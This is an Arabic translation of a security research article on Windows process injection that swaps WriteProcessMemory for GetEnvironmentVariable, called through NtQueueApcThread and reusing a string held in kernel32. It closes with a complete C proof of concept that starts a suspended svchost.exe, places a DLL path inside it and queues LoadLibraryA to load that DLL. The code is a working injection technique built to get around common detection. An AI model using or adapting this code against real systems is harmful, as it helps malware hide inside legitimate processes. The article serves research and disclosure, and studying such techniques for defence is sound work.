إستخدام GetEnvironmentVariable كبديل ل WriteProcessMemory

في حقن عمليات الحوسبة

الباحث: J. M. Fernández

مقدمة

أشهر أساليب حقن عمليات الحوسبة (Process Injection) يعتمد على نمط شائع وهو:

VirtualAllocEx > WriteProcessMemory > (Change to RX if needed) > Trigger execution.

لحسن الحظ في الأعوام الأخيرة تم إكتشاف أساليب جديدة لكتابة البايلود داخل عمليات الحوسبة عن بعد (Remote Process) مثل:

Atom Bombing, Shared-Memory Reuse, NtMapViewOfSection, etc.

بالإضافة لأساليب أخرى لبدأ التنفيذ (Trigger Execution) مثل:

SetWindowLong, PROPagate, WNF callbacks, etc.

لذا فالمجال في إتساع مستمر.

بعد البحث عن Kernel32 exports وجدت هذه القائمة والتي تحتوي على الدالة موضوع البحث.

GetEnvironmentVariable

هذه الدالة تحتوي على كل ما نحتاجه.

```
DWORD GetEnvironmentVariable(
  LPCTSTR lpName,
  LPTSTR  lpBuffer,
  DWORD   nSize
);
```

كما نرى أنها في التعريف تأخذ ٣ حدود (Parameters) وهم:

lpName: مؤشر لإسم متغير البيئة (Environment Variable).

lpBuffer: مخزن بيانات مؤقت يتم فيه تخزين قيمة متغير البيئة.

nSize: حجم مخزن البيانات المؤقت.

من عملية الحوسبة المستهدفة نستطيع إنشاء عملية حوسبة مؤقتة باستخدام متغيرات مخصصة عن طريق:

SetEnvironmentVariable and CreateProcess.

ويمكننا أيضاً قراءة هذه المتغيرات وكتابة المحتوى في مخزن بيانات مؤقت كما في المثال:

```
SetEnvironmentVariableA("CustomVar", payload);

bSuccess = CreateProcessA(NULL,
    "c:\\windows\\system32\\SVCHOST.EXE -k NetworkService",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &siStartInfo,
    &piProcInfo
);
```

المشكلة الوحيدة التي تقابلنا هي معرفة عنوان CustomVar حتى نقوم بإستخدامه مكان الحد lpName.

بالفعل نحن نعرف الحد lpName لأن عنوان VirtualAllocEx و nSize المحجوز في الذاكرة المؤقتة معروف أيضاً للسبب ذاته، الحد الوحيد الغير معروف هو مؤشر المتغير الذي نتحكم نحن في محتواه، لذا ماذا من الممكن أن نفعل لنحل تلك المشكلة؟

String Reuse

لا يمكننا أن نعثر على مؤشر ل CustomVar بديهياً، لكن يمكننا إعادة استخدام أي نص موجود في عنوان معروف في الذاكرة المؤقتة، كما ذكرنا في البداية، العناوين الافتراضية في kernel32.dll يتم مشاركتها بين عمليات الحوسبة، لذا يمكننا إنشاء متغير بإستخدام نفس الإسم الموجود في هذه الوحدة (Module)، كل ما علينا معرفته هو العنوان المقابل (Offset) للنص المراد استخدامه ومن ثم حسابه ديناميكياً.
على سبيل المثال:

```
hModK = LoadLibraryA("Kernel32");
address = GetProcAddress(hModK, "AllocConsole"); //Just a reference point
address = (char *)address + 0x591A8; //SdbInitDatabaseEx in kernel32
```

ثم إستدعاء SetEnvironmentVariable بالقيمة التي حصلنا عليها وإنشاء عملية CreateProcess:

```
SetEnvironmentVariableA("SdbInitDatabaseEx", payload);
CreateProcessA(...)
...
```

أخيراً، نحتاج فقط أن نضع جميع الحدود التي حصلنا عليها في GetEnvironmentVariable:

```
NtQueueApcThread(piProcInfo.hThread, GetProcAddress(hModK, "GetEnvironmentVariableA"), address,
payload_location, sizeof(payload));
```

PoC || GTFO

```
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
int main(int argc, char** argv) {
    PROCESS_INFORMATION piProcInfo;
    STARTUPINFOA siStartInfo = { 0 };
    BOOL bSuccess = FALSE;
    char payload[] = "C:\\Test\\alert.dll";
    void* payload_location = NULL;
    HMODULE hModK = NULL;
    HMODULE hModN = NULL;
    char* kernel32_string = NULL;
    FARPROC address = NULL;
    NTSTATUS(NTAPI * NtQueueApcThread)(
       _In_ HANDLE ThreadHandle,
       _In_ PVOID ApcRoutine,
       _In_ PVOID ApcRoutineContext OPTIONAL,
       _In_ PVOID ApcStatusBlock OPTIONAL,
       _In_ ULONG ApcReserved OPTIONAL
       );


    hModK = LoadLibraryA("Kernel32");
    address = GetProcAddress(hModK, "AllocConsole");//Just a reference
point
    address = (char *)address + 0x591A8; //SdbInitDatabaseEx in kernel32
    SetEnvironmentVariableA("SdbInitDatabaseEx", payload);

    bSuccess = CreateProcessA(NULL,
       "c:\\windows\\system32\\SVCHOST.EXE -k NetworkService",
       NULL,
       NULL,
       FALSE,
       CREATE_SUSPENDED,
```

```
        NULL,
        NULL,
        &siStartInfo,
        &piProcInfo
    );

    if (!bSuccess) {
        return -1;
    }

    payload_location = VirtualAllocEx(piProcInfo.hProcess, NULL,
sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    hModN = LoadLibraryA("ntdll");
    NtQueueApcThread = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, PVOID,
ULONG)) GetProcAddress(hModN, "NtQueueApcThread");
    NtQueueApcThread(piProcInfo.hThread, GetProcAddress(hModK,
"GetEnvironmentVariableA"), address, payload_location, sizeof(payload));
    QueueUserAPC(GetProcAddress(hModK, "LoadLibraryA"), piProcInfo.hThread,
payload_location);
    ResumeThread(piProcInfo.hThread);
    return 0;
}
```

خاتمة

هذه الطريقة ما هي إلا إضافة إلى أدواتنا وطرقنا المستخدمة، بالطبع إستخدام GetEnvironmentVariable له عوائقه، مثل إستخدام ASCII shellcodes لتجنب المشاكل.

كما قلت سابقاً، أنا أعتقد أن هذه الطريقة موجودة في مكان ما لكني لم أستطع أن أعثر عليها، إذا تمكنت من العثور على أي طريقة لتجنب WriteProcessMemory، أو لديك معلومات مشوقة أخرى في هذا الموضوع، أو ترغب في تصحيح خطأ قد رأيته، قم بالتواصل معي على تويتر: @TheXC3LL

الرابط الأصلي للورقة البحثية:
https://vxug.fakedoma.in/papers/VXUG/Mirrors/GetEnvironmentVariableasanalternativetoWriteProcessMemoryinprocessinjections.pdf

هذه الترجمة إجتهاد شخصي، إذا رأيت أن هناك أي أخطاء أو لديك اقتراحات تواصل معي: @0x1411